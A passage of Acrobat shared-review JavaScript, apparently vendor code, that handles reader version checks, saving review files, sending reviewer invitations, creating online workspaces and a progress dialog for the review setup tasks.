   							    ADBE.Viewer_RMA_string_Reader_9_OrLater = "{cReader9OrLaterENU}";								

							}





							if (typeof(ADBE.Reader_Value_Asked) == "undefined") ADBE.Reader_Value_Asked = false;

							if (typeof(ADBE.Viewer_Value_Asked) == "undefined") ADBE.Viewer_Value_Asked = false;



                            var bUseDocumentCenter = "{bUseDocumentCenter}";



							if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 8)

							{

							    if(bUseDocumentCenter==true)

							        ADBE.Reader_Need_Version = 9;

							    else

								    ADBE.Reader_Need_Version = 8;

								ADBE.Reader_Value_New_Version_URL = "http://www.adobe.com/products/acrobat/readstep2.html";

							}

							if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 8)

							{

							    if(bUseDocumentCenter==true)

							        ADBE.Viewer_Need_Version = 9;

                                else

								    ADBE.Viewer_Need_Version = 8;

								ADBE.Viewer_Value_New_Version_URL = "http://www.adobe.com/products/acrobat/readstep2.html";

							}



							if (app.viewerType == "Reader")

							{

								if (app.viewerVersion < ADBE.Reader_Need_Version && !ADBE.Reader_Value_Asked)

								{

								    var alertMessage = ADBE.Viewer_RMA_string_Reader;

								    if(ADBE.Reader_Need_Version==9)

								        alertMessage = ADBE.Viewer_RMA_string_Reader_9_OrLater;

									if (app.alert(alertMessage, 1, 1) == 1) this.getURL(ADBE.Reader_Value_New_Version_URL, false);

									ADBE.Reader_Value_Asked = true;

								}

							}

							else

							{	

							    // get ubiquity rights

							    var	bShowReader = "{bShowReader}";		

							

								if (app.viewerVersion < 7 && !ADBE.Viewer_Value_Asked)

								{

									app.response({cQuestion:ADBE.Viewer_RMA_string_Viewer, cDefault:ADBE.Viewer_Value_New_Version_URL, cTitle:ADBE.Viewer_string_Title});

									ADBE.Viewer_Value_Asked = true;

								}

								

								if (app.viewerVersion < ADBE.Viewer_Need_Version && !ADBE.Viewer_Value_Asked)

								{

								    if(bShowReader==true) {

								        var alertMessage = ADBE.Viewer_RMA_string_Reader;

								       if(ADBE.Viewer_Need_Version==9)

								            alertMessage = ADBE.Viewer_RMA_string_Reader_9_OrLater; 

									    if (app.alert(alertMessage, 1, 1) == 1)

										    app.launchURL(ADBE.Viewer_Value_New_Version_URL, true);

								    }

								    else {

								        //bShowReader will never be false A9 onwards, hence there is no question of Acrobat.com based reviews where bShowReader == false

								        if (app.alert(ADBE.Viewer_RMA_string_Viewer, 1, 1) == 1)

										    app.launchURL(ADBE.Viewer_Value_New_Version_URL, true);

								    }

									ADBE.Viewer_Value_Asked = true;

								}

							}

						},

						{

							cLanguage: app.language,

							cTitle: AnnotsString.IDS_SORT_WARNING_TITLE,                               // XXX

	                        cReader: AnnotsString.IDS_VERERR_SR_RE,                                    // Reader Enabled Review

	                        cReaderENU: AnnotsString.IDS_VERERR_SR_RE_ENU,                     // Reader Enabled Review English string

	                        cViewerOld: AnnotsString.IDS_VERERR_SR_OLD,                              // Pre-7 Acrobat

	                        cViewerOldENU: AnnotsString.IDS_VERERR_SR_OLD_ENU,              // Pre-7 Acrobat English string

	                        cViewer: AnnotsString.IDS_VERERR_SR_NO_RE,                              // Need reader Update

	                        cViewerENU: AnnotsString.IDS_VERERR_SR_NO_RE_ENU,               // Need reader Update English string

	                       	cReader9OrLater: AnnotsString.IDS_VERERR_SR_DC_RE,                 // Need Acrobat/Reader 9 or later

	                        cReader9OrLaterENU: AnnotsString.IDS_VERERR_SR_DC_RE_ENU,  // Need Acrobat/Reader 9 or later English string 

							bShowReader: bUB,

							bUseDocumentCenter: data.UseDocumentCenter

						})  + "()";



					    //console.println("Adding document level JavaScripts");

					    

						// Add the document level JavaScript

						app.beginPriv();

						data.doc.addScript("com.adobe.acrobat.SharedReview.VersionCheck", cVersionScript);

						data.doc.addScript("com.adobe.acrobat.SharedReview.Register", cScript);

						app.endPriv();



					    // Take ownership of any comments (if necessary)

						app.beginPriv();

						data.doc.Collab.takeOwnershipOfComments();

						app.endPriv();

						

						//Save the review file remotely

						if ((data.distributionMethod == "UPLOAD")&&(!data.UseDocumentCenter))

						{

							var savePropsRemote =

							{

								bPromptToOverwrite: false,

							};

							

							savePropsRemote.cFS = data.distributionFS;

							app.beginPriv();

					        // if the distribution FS is CHTTP then just use the distribution

					        // URL as is; otherwise convert the path to a DI path.

					        if (savePropsRemote.cFS == "CHTTP")

					        {

						        if (data.server.Settings.bUseWindowsIntegratedAuthentication)

						            savePropsRemote.cFS = "CSSO";

						        savePropsRemote.cPath = data.distributionURL;

						    }

					        else

					        {

					        	

								var url = encodeURIComponent(ANPlatformPathToURL(data.distributionURL));

							    savePropsRemote.cPath = Collab.uriToDIPath(url);

							

							    // In case of SMB, make the Shared Review file read only.

								if (savePropsRemote.cFS == fileSystem['default'])

									savePropsRemote.bSaveAsReadOnly = true;

					        }

							app.endPriv();

							

							if(bUB)

								savePropsRemote.cUsageRights = submitFormUsageRights.RMA;

	

					        //console.println("Uploading document - params:");

					        //for (var prop in savePropsRemote) console.println(prop + " => " + savePropsRemote[prop]);

    					   

							app.beginPriv();

							data.doc.saveAs(savePropsRemote);

							app.endPriv();

						}

						

						//Save the review file locally

						{

							// Save the document with UB rights if necessary

							var savePropsLocal =

							{

								bPromptToOverwrite: false,

							};

	

							savePropsLocal.bSaveAsReadOnly = false;

							switch(data.distributionMethod)

							{

								case "MANUAL":

								case "EMAIL":

								case "UPLOAD":

									savePropsLocal.cPath = data.cDocumentPath;

									break;

							}

							if(bUB)

								savePropsLocal.cUsageRights = submitFormUsageRights.RMA;

							

						    //console.println("Saving document - params:");

						    //DebugAlert("Saving document - params2:");

						    //for (var prop in savePropsLocal) console.println(prop + " => " + savePropsLocal[prop]);



							app.beginPriv();

							data.doc.saveAs(savePropsLocal);

							app.endPriv();

						}

						

						// Update the store

						data.doc.Collab.sync(eaddr, true, false);

						data.saved = true;

						cxt.handleSuccess();							

					}

					catch(e)

					{

    					console.println(e.stack);

    					//app.alert(e.stack);

    					//app.alert(e);

    					

						app.beginPriv();

						Collab.unregisterReview(data.doc);

						app.endPriv();



						cxt.handleFailure();							

					}

				},



				onSuccess: function(cxt, taskData)

				{

					cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_SAVE_SHARED_REVIEW_SUCCESS);

					

				    if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com")

				    {

				        var addStringToPayloadParams = {};  

		                addStringToPayloadParams.name = "ADC_Upload_Complete";

		                addStringToPayloadParams.val = "True";

    		                    

		                app.beginPriv();

		                Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

		                app.endPriv();   

				    }

					

				},



				onFailure: function(cxt, taskData)

				{

					cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_SAVE_SHARED_REVIEW_ERROR);

				

				    if(data.server.URL == "urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com")

				    {

				        var addStringToPayloadParams = {};  

		                addStringToPayloadParams.name = "ADC_Upload_Complete";

		                addStringToPayloadParams.val = "False";

    		                    

		                app.beginPriv();

		                Collab.AVUMAddStringToPayloadWrapper(addStringToPayloadParams);

		                app.endPriv();   

				    }

					 

				},

			},				



			oSendEmailTasks:

			{

				// Make the document send the invitation

				runTask: function(cxt, taskData)

				{

					taskData.cxt = cxt;

					var data = cxt.data;

					

					if(data.distributionMethod != "MANUAL")

					{

					    if(data.UseDocumentCenter)

					        cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_START_DC);

					    else

						if(data.action == "ChangeDeadline")

							cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_DEADLINE_START);

						else

							cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_START);

					}

					DebugAlert("in send email tasks");

					try

					{

						var sentEmail = false;



						DebugAlert("data.distributionMethod " + data.distributionMethod);

						

						if(data.reviewType == "SharedReviewEmail")

						{

							

						  	var props =

								{

									bUI: false,

									cTo: data.reqR.join(";"),

									cCc: data.optR.join(";"),

									cSubject: data.subj,

									cMsg: data.msg,

									cAttachment: data.doc.path,

								};

	

							DebugAlert("sadf" + props.cTo + props.cCc);

							

							if(data.UseDocumentCenter)

							{

							    var copyMe = true;

							    var limitedAccess = false;

		                        app.beginPriv();

		                        copyMe = Collab.copyMe;

		                        app.endPriv();

		                        

		                        var toList = props.cTo + ";"+ props.cCc;

			                    if (copyMe)

			        	            toList = toList + ";" + data.user;

			        	            

			        	        limitedAccess = (Math.abs(data.accessLevel) == 2);

			        	        

			        	        app.beginPriv();

		                        var reviewInfo = Collab.getReviewInfo(data.reviewID);

		                        app.endPriv();

		                        

								app.beginPriv();

								data.swConn.shareFile(data.docCtrURL, reviewInfo.cReviewURL, toList, limitedAccess, props.cSubject, props.cMsg, (data.action == "ChangeDeadline"));

								app.endPriv();

								

								app.beginPriv();

					            data.swConn.disconnect();

					            app.endPriv();

							}

						    else

							if(data.action == "ChangeDeadline")

							{

								DebugAlert("data.sendAttachment"+data.sendAttachment);

								if(data.distributionMethod == "EMAIL")

								{

									app.beginPriv();

									sendResult = app.mailMsgWithAttachment(props);

									app.endPriv();

									sentEmail = true;

								}

								else //basically we are not sending the mail in the MANUAL case

								if(data.distributionMethod == "UPLOAD")

								{

									app.beginPriv();

									sendResult = app.mailMsg(props);

									app.endPriv();

									sentEmail = true;

								}

							}

							else  // addreviewers case

							if(data.action == "AddReviewers")

							{

								if(data.distributionMethod == "EMAIL")

								{

									app.beginPriv();

									sendResult = app.mailMsgWithAttachment(props);

									app.endPriv();

									sentEmail = true;

								}

								else

								if(data.distributionMethod == "UPLOAD")

								{

									app.beginPriv();

									sendResult = app.mailMsg(props);

									app.endPriv();

									sentEmail = true;

								}		

							}

					    }

					    else

					    {

							switch(data.distributionMethod)

							{

	 							case "EMAIL":

								{

									var to = escape(data.reqR.join(";"));

									var cc = escape(data.optR.join(";"));

									var subj = escape(data.subj);

									var msg = escape(data.msg);

	

									var url = "mailto:" + to + "?subject=" + subj + 

												"&body=" + msg + "&ui=false";

									if(cc != undefined) url += "&cc=" + cc;

	

									DebugAlert("url : " + url);

									// Include the message in the email

/*

 									TODO: dikumar: remove this code segment later, as submitForm call does not work with ubiquitization "on"

  									var params = 

									{

										cURL: url,	

										bPDF: true,

										aFields: [], 

										bCheckReqdFields: false,

									};

									app.beginPriv();

									sendResult = data.doc.submitForm(params);

									app.endPriv();

*/	

									var props = 

									{

										bUI: false,

										cTo: data.reqR.join(";"),

										cCc: data.optR.join(";"),

										cSubject: data.subj,

										cMsg: data.msg,

										cAttachment: data.doc.path,

									};

									

									app.beginPriv();

									sendResult = app.mailMsgWithAttachment(props);

									app.endPriv();

									sentEmail = true;

								}

								break;

								

								case "UPLOAD":

								{

									var props =

									{

										bUI: false,

										cTo: data.reqR.join(";"),

										cCc: data.optR.join(";"),

										cSubject: data.subj,

										cMsg: data.msg,

									};

	

									app.beginPriv();

									sendResult = app.mailMsg(props);

									app.endPriv();

									sentEmail = true;

								}

								break;

	

								case "MANUAL":

									// Up to the user to do something with it.

									break;

							}

					    }

						

						if(sentEmail)

						{

							var msg;

							if(data.action == "ChangeDeadline")

								msg = AnnotsString.IDS_SEND_FOR_SHARED_REVIEW_CHANGE_DEADLINE_CONFIRM_MSG;

							else

								msg = AnnotsString.IDS_SEND_FOR_SHARED_REVIEW_CONFIRM_MSG;

							

							var title = AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TITLE;

							

							app.beginPriv();

							Collab.alertWithHelp(msg, "", title, "Annots:SharedReviewConfirm");

							app.endPriv();

									

							// if(data.doc.hidden)

							// {

								// data.doc.closeDoc(true);

							// }

						}

						cxt.handleSuccess();

					}

					catch(e)

					{

					    console.println(e.stack);

						app.beginPriv();

						Collab.unregisterReview(data.doc);

						app.endPriv();



						app.beginPriv();

						if (e.message == "User canceled operation.")

							app.alert(AnnotsString.IDS_SHARED_REVIEW_SEND_MAIL_ERROR);

						else

							app.alert({cMsg: e["message"]});

						app.endPriv();

						cxt.handleFailure();

					}

				},



				onSuccess: function(cxt, taskData)

				{

					if(data.action == "ChangeDeadline" )

						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_DEADLINE_SUCCESS);

					else

						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_SUCCESS);

				},



				onFailure: function(cxt, taskData)

				{

					if(data.action == "ChangeDeadline" )

						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_DEADLINE_ERROR);

					else

						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_ERROR);

				},

			},

			

			oDocCenterTasks_createWorkspace:

			{

				// Create the review Directory

				runTask: function(cxt, taskData)

				{

					DebugAlert("running oDocCenterTasks_createWorkspace");

					taskData.cxt = cxt;

					

					cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORY + "Adobe online services");

					

					

					var cURL = taskData.data.cSetting;

					cURL += taskData.reviewID;

					cURL += "/";



					app.beginPriv();

					cURL = Collab.uriEncode(cURL);

					app.endPriv();

											

		            var copyMe = true;

		            app.beginPriv();

		            copyMe = Collab.copyMe;

		            app.endPriv();

		

					var invitees = cxt.data.reqR.join(";") + ";" + cxt.data.optR.join(";");

			        if (copyMe)

			        	invitees = invitees + ";" + cxt.data.user;

	        

			        var props = 

			        {

			        	driver: driver.driverURL, 

			        	invitees: invitees,

			        	//cc: cxt.data.optR.join(";") ,

			        	subject: cxt.data.subj,

			        	body: cxt.data.msg,

			        	localPath: cxt.data.cDocumentPath,

			        	setACL: (Math.abs(data.accessLevel) == 2)? "true": "false",

			        	skipUpload: "true",

			        };

			        

			        var swConn = cxt.data.swConn;



			        if (swConn)

			        {

			        	cxt.data.dcWorkspaceURL = "";

			        	//DebugAlert("swConn is non-null");

			        	

			        	//First call to initiateWorkflow will create a comment repository which is returned

			        	//as the workspace URL

				    	app.beginPriv();

				        var initResult = swConn.initiateWorkflow(props);

				        app.endPriv();

	

				        result = initResult["result"];

				        ANDumpObj(initResult);

				        if (result == 0)

				        {

				        	DebugPrintln("Comment repository successfully created on the document center.");

				        	DebugPrintln("workspaceURL: " + initResult["props"]["workspaceURL"]);

				        	DebugAlert("workspaceURL: " + initResult["props"]["workspaceURL"]);

				        	cxt.data.dcWorkspaceURL = initResult["props"]["workspaceURL"];

				        							// ensure the server URL ends with a '/'

							if (cxt.data.dcWorkspaceURL.substr(-1) != "/")

								cxt.data.dcWorkspaceURL += "/";

				        	

				        	cxt.handleSuccess();

				        }

				        else

				        {

				        	DebugAlert("Could not connect to document center: comment repository not created.");

				        	DebugAlert("*** Workflow initiation failed: " + initResult["errorMessage"]);

				        	DebugPrintln("*** Workflow initiation failed: " + initResult["errorMessage"]);

				        	

				        	cxt.handleFailure();

				        }

			        }

			        else

			        {

			        	DebugPrintln("swConn is null");

			        	DebugAlert("Need to login again");

			        }

				},



				onSuccess: function(cxt, taskData) {},

				onFailure: function(cxt, taskData) {},

			},

			

			oDocCenterTasks_complete:

			{

				// Create the review Directory

				runTask: function(cxt, taskData)

				{

					DebugAlert("running oDocCenterTasks_complete");

					taskData.cxt = cxt;

					

					cxt.setTaskStatus(AnnotsString.IDS_SHAREFILE_SING_PROGRESS);

					

						var cURL = taskData.data.cSetting;

						cURL += taskData.reviewID;

						cURL += "/";

	

						app.beginPriv();

						cURL = Collab.uriEncode(cURL);

						app.endPriv();



		            var copyMe = true;

		            app.beginPriv();

		            copyMe = Collab.copyMe;

		            app.endPriv();

			

					var invitees = cxt.data.reqR.join(";") + ";" + cxt.data.optR.join(";");

			        if (copyMe)

			        	invitees = invitees + ";" + cxt.data.user;

	        

	        		var uploadName = cxt.data.cDocumentPath.substring(cxt.data.cDocumentPath.lastIndexOf('/') + 1, cxt.data.cDocumentPath.length);

					var fileProps = 

					{

						localPath : cxt.data.cDocumentPath,

						uploadName : uploadName,

						uploadResult : -1,

					}

					

					ANDumpObj(fileProps);

					

		    		cxt.data.filesToUpload = [];

		    		cxt.data.filesToUpload[cxt.data.filesToUpload.length] = fileProps;



			        var props = 

			        {

			        	driver: driver.driverURL,

			        	invitees: invitees,

			        	//cc: cxt.data.optR.join(";") ,

			        	subject: cxt.data.subj,

			        	body: cxt.data.msg,

			        	//localPath: cxt.data.cDocumentPath,

			        	filesToUpload: cxt.data.filesToUpload,

			        	setACL: (Math.abs(data.accessLevel) == 2)? "true": "false",

			        	skipUpload: "false",

			        };

			        

			        var swConn = cxt.data.swConn;



		        	try

		        	{

				        if (swConn)

				        {

					    	app.beginPriv();

					        var initResult = swConn.initiateWorkflow(props);

					        app.endPriv();

		

					        result = initResult["result"];

					        ANDumpObj(initResult);

					        if (result == 0)

							{

					        	cxt.handleSuccess();

					        	DebugPrintln("Workflow initiation succeeded");

					        }

					        else

					        {

					        	DebugThrow("Workflow initiation failed")

					        }

					        

					    	app.beginPriv();

					        swConn.disconnect();

					        app.endPriv();

				        }

				        else

				        {

				        	DebugPrintln("swConn is null");

				        	DebugAlert("Need to login again");

				        }

					}

		        	catch(e)

		        	{

					    console.println(e.stack);

						app.beginPriv();

						Collab.unregisterReview(data.doc);

						app.endPriv();

						

			        	cxt.handleFailure();					

		        	}

				},



				onSuccess: function(cxt, taskData)

				{

					cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_SUCCESS);

				},

				onFailure: function(cxt, taskData) 

				{

					cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_INVITE_SHARED_REVIEW_ERROR);

				},

			},



			getAsciiSafeDocName: function(docName)

			{

				var result = docName;

				var escaped = escape(docName);

				if (escaped != docName)

				{

					 result = escaped.replace(/\%u/g, '');

					 result = result.replace(/\%([0-9A-F][0-9A-F])/g, "00$1");

				}

				return result;

			},

			

			updateProgress: function()

			{

				//app.alert("inside updateProgress:"+this.oProgressInfo.cTaskStatus);

				this.setTaskStatus(this.oProgressInfo.cTaskStatus);

				this.setTaskProgress(this.oProgressInfo.nPercentComplete);

			},



			initialize: function(dialog)

			{

				var data = this.data;

				var id = this.getAsciiSafeDocName(data.cDocumentName) + "__" + data.reviewID;

				if (this.oProgressInfo)

					this.oProgressInfo.setHandler(this);

				

				data.complete = 

				{

					driver: (data.UseDocumentCenter) ? data.dcDriver : data.drivers[data.server.URL],

					to: data.reqR.join(";"),

					cc: data.optR.join(";"),

					initDate: new Date(),

					oDialog: dialog,

					id: id,

				}



				data.shouldRetry = false;



				this.oDialog = dialog;

				

				app.beginPriv();

				

				if(data.reviewType != "SharedReviewEmail")

					data.complete.sourceURL = data.complete.driver.getInitiatorSource(id, data.server.Settings);

				

				if (data.reviewType == "SharedReview")

					this.oTaskSet = this.oDriver.getWorkspaceCreator(id, data.server.Settings);

				else

					this.oTaskSet = { aTasks : {length: 0}};

				app.endPriv();

	

				var toLoad = { desc: "" };

				var toEnable = { task: data.bWorkspaceSetup, ok: false, cancel: false };



				DebugPrintln("Current task set is:");

				ANDumpObj(this.oTaskSet);

				

				//DebugAlert("this.nCurrentTask: "+this.nCurrentTask);

				DebugAlert("inti email task " + data.reviewType + " + " + data.distributionMethod);

				

				if(data.reviewType == "SharedReviewEmail")

				{

					this.aCompleteTasks[this.aCompleteTasks.length] = 

						ANTrustPropagateAll(this.oSendEmailTasks);

				}

				else

				if (!data.UseDocumentCenter)

				{

					this.aCompleteTasks[this.aCompleteTasks.length] = 

							ANTrustPropagateAll(this.oSaveFileTasks);

					if (!automation) {

					    switch (data.distributionMethod) {

					        case "EMAIL":

					        case "UPLOAD":

					        case "MANUAL":

					            this.aCompleteTasks[this.aCompleteTasks.length] =

                                    ANTrustPropagateAll(this.oSendEmailTasks);

					            break;

					    }

					}

				}

				else

				{

				    DebugPrintln("creating workspace for shared review");

					this.aCompleteTasks[this.aCompleteTasks.length] = ANTrustPropagateAll(this.oDocCenterTasks_createWorkspace);

					this.aCompleteTasks[this.aCompleteTasks.length] = ANTrustPropagateAll(this.oSaveFileTasks);

					this.aCompleteTasks[this.aCompleteTasks.length] = ANTrustPropagateAll(this.oDocCenterTasks_complete);

				}

				

				if(data.reviewType == "SharedReview")

				{

					if((data.action != "ChangeDeadline") && (data.action != "AddReviewers"))

						dialog.visible({ok: false, cancel: false});

				}

				

				dialog.load(toLoad);

				dialog.load({ok: AnnotsString.IDS_OK});					

				dialog.enable(toEnable);



				this.data.state = "RUNNING";

				

				// Run the task set

				//this.runCurrentTask();

			},



			setTaskStatus: function(status)

			{

				var msg = AnnotsString.IDS_SHARED_REVIEW_STATUS_TEMPLATE.replace(/{cStatus}/, status);

				//DebugAlert("status  " + msg);

				this.oDialog.load({ desc: msg });

			},



			setTaskProgress: function(nPercent)

			{

				var nSegLen = 100 / this.getNumTasks();

				var nComplete = (this.nCurrentTask + (nPercent/100));

				//DebugAlert("setTaskProgress " + (nComplete * nSegLen));

				this.oDialog.load({ prog: (nComplete * nSegLen) });

			},



			getCurrentTask: function()

			{ 

				//DebugAlert("inside getCurrentTask");

				if(0 <= this.nCurrentTask && this.nCurrentTask < this.oTaskSet.aTasks.length)

					return this.oTaskSet.aTasks[this.nCurrentTask]; 

				else if (this.oTaskSet.aTasks.length <= this.nCurrentTask)

				{

					var nIdx = this.nCurrentTask - this.oTaskSet.aTasks.length;

					return this.aCompleteTasks[nIdx];

				}

			},



			getNumTasks: function()

			{

				//DebugAlert("getNumTasks = " + this.oTaskSet.aTasks.length + this.aCompleteTasks.length);

				return (this.oTaskSet.aTasks.length + this.aCompleteTasks.length);

			},



			runCurrentTask: function()

			{

				try

				{

					//DebugAlert("inside runCurrentTask");

					this.setTaskProgress(0);

					this.getCurrentTask().runTask(this, this.oTaskSet);

					if(this.data.state == "RUNNING")

						this.setTaskProgress(100);

				}

				catch(e)

				{

					//console.println(e.stack);

				}

			},



			handleSuccess: function()

			{

				

				this.getCurrentTask().onSuccess(this, this.oTaskSet);

				this.nCurrentTask++;

				//DebugAlert("in handleSuccess, this.nCurrentTask=" + this.nCurrentTask);



				if(this.nCurrentTask >= this.getNumTasks())

				{

					// Complete

					this.data.bWorkspaceSetup = true;

					

                    if(data.action == "ChangeDeadline")

					{

						this.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_DEADLINE_SUCCESS);

						this.oDialog.enable({ ok: true });

					}

					else if(data.action == "AddReviewers")

					{

						this.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_ADD_REVIEWER_SUCCESS);

						this.oDialog.enable({ ok: true });

					}

					//else

					//	this.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_COMPLETE_SUCCESS);

					this.commit(this.oDialog);

				}

				else this.runCurrentTask();

			},



			handleFailure: function(e)

			{

				try

				{

					//DebugAlert("in handleFailure");

					if(e != undefined && e.text != undefined)

					{

						var s = AnnotsString.IDS_SHARED_REVIEW_COMPLETE_ERROR.replace(/%error%/, e.text);

						//DebugAlert("ssssssssssss ; "+s);

						this.setTaskStatus(s);

					}



				this.getCurrentTask().onFailure(this, this.oTaskSet);

				this.data.state = "RETRY";

				this.oDialog.load({ok: AnnotsString.IDS_SHARED_REVIEW_COMPLETE_RETRY});

				this.oDialog.visible({ok: true, cancel: true});

				this.oDialog.enable({ok: true, cancel: true});

				this.nCurrentTask = 0;

				this.setTaskProgress(0);

				}

				catch(e)

				{

					//console.println(e.stack);

				}

			},



			commit: function(dialog)

			{

				switch(this.data.state)

				{

					case "RETRY":

						this.nCurrentTask = 0;

						this.data.state = "RUNNING";

						this.data.shouldRetry = true;

						break;



					case "RUNNING":

						this.data.shouldRetry = false;

						if(data.reviewType == "SharedReview")

						{

							if((data.action != "ChangeDeadline") && (data.action != "AddReviewers"))

								dialog.end("ok");

						}

						break;

				}

			},



			description: 

			{

				name: title,

				width: 450,

				elements:

				[

					{

						type: "view",

						alignment: "align_fill",

						elements:

						[

							{

								type: "view",

								align_children: "align_row",

								elements:

								[

									{

										type: "progress_bar",

										width: 400,

										height: 12,

										item_id: "prog",

									},

								]

							},

							{

								type: "static_text",

								alignment: "align_fill",

								item_id: "desc",

								wrap_name: true,

								name: maxStr,

								width: 450,

							},

							{

								type: "ok_cancel",

								ok_name: AnnotsString.IDS_SHARED_REVIEW_COMPLETE_RETRY,

							}

						]

					}

				]

			}

		};



		// Bug #1352232 - Reopen hidden document to make it visible

		// This MUST be done when we're not modal.

		if(data.doc.hidden)

		{

			data.doc.closeDoc(true);

			app.beginPriv();

			data.doc = app.openDoc({cFS: data.docFS, cPath: data.docPath});

			app.endPriv();

		}



		data.shouldRetry = true;

		while(data.shouldRetry)

		{

			app.beginPriv();

			app.execDialog(ANTrustPropagateAll(dialog));

			app.endPriv();

		}

		

		if (progressInfo)

			progressInfo.setHandler();

		progressInfo = null;



		/*if(data.distributionMethod == "UPLOAD")

		{

			var url = util.crackURL(data.distributionURL);

			switch(url.cScheme)

			{

				case "http":

				case "https":

					app.beginPriv();

					data.doc.closeDoc(true, true);

					app.endPriv();

					app.launchURL("acrobat:Review?open=" + data.reviewID );

					break;

			}

		}*/

	}

	

	CBFormDistributionEmailComplete = function(data)

	{

		DebugAlert("begin CBFormDistributionEmailComplete()");

		

		DebugAlert("1");

		app.beginPriv();

		var initiator = identity.email;

		app.endPriv();

		

		var localPath = "";

		var initiationURL = "";

		var driver = "";

		var dataSetPath = "";

		var savePath = ""

		

		DebugAlert("3" + initiator);

		var distributionMethod;

		switch(data.distributionMethod)

		{

			case "EMAIL":

				distributionMethod = 1;

				break;



			case "UPLOAD":

				distributionMethod = 2;

				break;



			case "MANUAL":

				distributionMethod = 3;

				break;

		}



		var invitees = "";

		var cc = "";

		var subject = "";

		var body = "";

		var sentDate = "";

		var IWStatus = 1;

	

		DebugAlert(data.reqR);	

		invitees =  data.reqR.join(";");

		cc =  data.optR.join(";");

		subject =  data.subj;

		body =  data.msg;

		DebugAlert(invitees);	

		sentDate =  new Date();

			

		DebugAlert("5");

		var params = 

				{

					initiator: initiator,

					invitees : invitees,

					cc: cc,

					subject: subject,

					body: body,

					sentDate: sentDate,

					driver: driver,

					initiationURL: initiationURL,

					localPath: localPath,

					savePath: savePath,

					dataSetPath: dataSetPath,

					distributionMethod: distributionMethod,

					IWStatus: IWStatus,

				};

							

		DebugAlert("end form distribution complete");

	

		return params;

	}	

	

	

    CBFormDistributionComplete = function(data)

	{

		DebugAlert("begin CBFormDistributionComplete()");

		

		DebugAlert("1");

		app.beginPriv();

		var initiator = identity.email;

		var originalPath = data.docPath;

		DebugAlert(data.docPath);

		DebugAlert(originalPath);

		

		DebugAlert("2");

		var initiationURL;

		var driver;

		var dataSetPath = data.cDataSetPath;

		var savePath = data.cDocumentPath;//data.distributionFS;

		app.endPriv();

		DebugAlert(data.cDocumentPath);

		DebugAlert(savePath);

		DebugAlert("3");

		var distributionMethod;

		switch(data.distributionMethod)

		{

			case "EMAIL":

				distributionMethod = 1;

				break;



			case "UPLOAD":

				distributionMethod = 2;

				break;



			case "MANUAL":

				distributionMethod = 3;

				break;

		}



		/*DebugAlert("servertype : " + data.serverType);

		DebugAlert("server : " + data.server);

		DebugAlert("server.URL : " + data.server.URL);

		DebugAlert("serverURL : " + data.serverURL);

		DebugAlert("distributionURL : " + data.distributionURL);

		DebugAlert("distributionMethod : " + data.distributionMethod);*/



		driver = data.server.URL;

		driver = driver.replace(/SharedReview/, "Forms");



		if(data.UseDocumentCenter == true) 

		{

			app.beginPriv();

			initiationURL = Collab.docCenterURL;

			app.endPriv();

		}

		else

			initiationURL = data.server.Settings.cSetting;

	 	

		var invitees = "";

		var cc = "";

		var subject = "";

		var body = "";

		var sentDate = "";

		var IWStatus = 1;

	

		if(data.placeSubmitButton == true)

		{

			IWStatus = 2;

		}

		else

		{

			invitees =  data.reqR.join(";");

			cc =  data.optR.join(";");

			subject =  data.subj;

			body =  data.msg;

			sentDate =  new Date();

		}



	

		var swConnect = null;

		var sessionID = null;

		var secret = null;

		var accessLevel = null;

		var copyTo= null;

		

		if(data.UseDocumentCenter == true) 

		{

			swConnect = data.swConn;

			app.beginPriv();

	        var sessionInfo = swConnect.getSessionInfo();

	        app.endPriv();

			sessionID = sessionInfo.sessionID;

			secret = sessionInfo.secret;

			accessLevel = Math.abs(data.accessLevel);

			

			var copyMe = true;

		    app.beginPriv();

	    	copyMe = Collab.copyMe;

	        app.endPriv();

	

	    	if (copyMe)

	    		copyTo= data.user;

		}

		

		var allowAnonymous = !data.allowAnonymous;

		

		DebugAlert("5" + invitees);

		var params = 

				{

					initiator: initiator,

					invitees : invitees,

					cc: cc,

					subject: subject,

					body: body,

					sentDate: sentDate,

					driver: driver,

					initiationURL: initiationURL,

					originalPath: originalPath,

					savePath: savePath,

					dataSetPath: dataSetPath,

					distributionMethod: distributionMethod,

					allowAnonymous: allowAnonymous,

					sessionID: sessionID,

					secret: secret,

					accessLevel: accessLevel,

					IWStatus: IWStatus,

					copyTo: copyTo,

				};

							

		DebugAlert("end form distribution complete");

	

		return params;

	}

		

	CBSharedReviewSelectServerTypeDescription = function(wizData)

	{

		var serverDesc = [];

		var description = 

		{

			serverControls: {},

			selected: null,

			hasUserName: false,

		};



		var maxDescStr = "";

		for(var i in wizData.servers)

		{

			// Max of 10 Servers

			if(serverDesc.length >= 10) break;



			var server = wizData.servers[i];

			var id = "svr" + i;

			description.serverControls[id] = server;



			serverDesc[serverDesc.length] =

			{

				type: "radio",

				item_id: id,

				group_id: "srvr",

				name: server.initiatorName,

			};

			

			var CBSharedReviewMakeSelectFunction = function(instance, key)

			{

				instance[key] = function(dialog)

				{

